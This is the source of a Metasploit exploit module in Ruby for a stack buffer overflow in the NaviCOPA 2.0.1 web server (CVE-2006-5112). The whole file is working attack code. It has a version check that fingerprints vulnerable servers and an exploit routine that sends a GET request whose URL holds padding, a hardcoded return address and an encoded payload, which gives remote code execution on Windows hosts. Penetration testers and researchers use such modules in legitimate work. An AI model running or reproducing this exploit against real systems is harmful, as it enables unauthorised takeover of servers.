NaviCOPA 2.0.1 URL Handling Buffer Overflow



##

# $Id: navicopa_get_overflow.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    HttpFingerprint = { :pattern => [ /InterVations/ ] }

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in NaviCOPA 2.0.1.
                The vulnerability is caused due to a boundary error within the
                handling of URL parameters.
            },
            'Author'         => 'MC',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9797 $',
            'References'     =>
                [
                    [ 'CVE', '2006-5112' ],
                    [ 'OSVDB', '29257' ],
                    [ 'BID', '20250' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 400,
                    'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
                ],
            'DisclosureDate' => 'Sep 28 2006',
            'DefaultTarget'  => 0))

        register_options(
            [
                Opt::RPORT(80)
            ], self.class )
    end

    def check
        connect

        sock.put("GET / HTTP/1.0\r\n\r\n")
        resp = sock.get_once
        disconnect

        if (resp =~ /2.01 11th September/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect

        sploit =  rand_text_alphanumeric(228, payload_badchars)
        sploit << [target.ret].pack('V') + payload.encoded

        uri = '/' + sploit

        res = "GET #{uri} HTTP/1.1\r\n\r\n"

        print_status("Trying target %s" % target.name)

        sock.put(res)
        sock.close

        handler
        disconnect
    end

end